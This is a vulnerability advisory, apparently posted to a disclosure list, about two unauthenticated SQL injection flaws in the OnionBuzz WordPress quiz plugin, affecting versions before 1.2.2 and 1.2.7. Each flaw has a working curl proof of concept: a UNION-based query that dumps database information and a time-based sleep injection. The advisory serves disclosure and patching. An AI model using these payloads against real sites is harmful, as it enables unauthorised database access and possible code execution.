Two unauthenticated SQL injection vulnerabilities in Onionbuzz WordPress plugin

[Eugene Kolo <eugene () eugenekolo com>]

Two unauthenticated/unprivileged SQL injection vulnerabilities in the Viral
Quiz Maker - Onionbuzz WordPress plugin.

Information
===========
Affected Product: Viral Quiz Maker - OnionBuzz WordPress plugin
Vendor Homepage: Onionbuzz.com
Vulnerability Type: SQL Injection
Discoverer: Eugene Kolodenker
Date: July-20-2019

1)

Description
===========
Prior to v1.2.2, you could exploit the `points` parameter in the
`ob_get_results` ajax nopriv handler due to there being no sanitization on
the points argument. The points parameter is not sanitized prior to be used
in a SQL query in getResultByPointsTrivia. This allows an
unauthenticated/unprivileged user to perform a SQL injection attack capable
of remote code execution and information disclosure.

Proof of Concept (POC)
======================
```
curl http://site/wp-admin/admin-ajax.php?action=ob_get_results --data
"type=get_result&id=1&quiz_type=5&points=1 or 1=0 union all select
1,1,version(),table_name,1,1,1,1,1 from information_schema.tables;#"
```

And get back:
```
{"quiz_id":1,"points":"1 or 1=0 union all select
1,1,version(),table_name,1,1,1,1,1 from
information_schema.tables;#","title":<DBVERSION>","description":"CHARACTER_SETS","featured_image":"<img
src=\"1\">","image_caption":"1","is_image":1,"success":1}
```


2)

Description
===========
Prior to v1.2.7, you could exploit the `id` parameter in the `set_count`
ajax nopriv handler due to there being no sanitization on the id argument.
The id parameter is not sanitized prior to be used in a SQL query in
saveQuestionVote. This allows an unauthenticated/unprivileged user to
perform a SQL injection attack capable of remote code execution and
information disclosure.


Proof of Concept (POC)
======================

```
curl http://site/wp-admin/admin-ajax.php?type=set_count --data
"action=ob_question_votes&id=1 or sleep(10);#"
```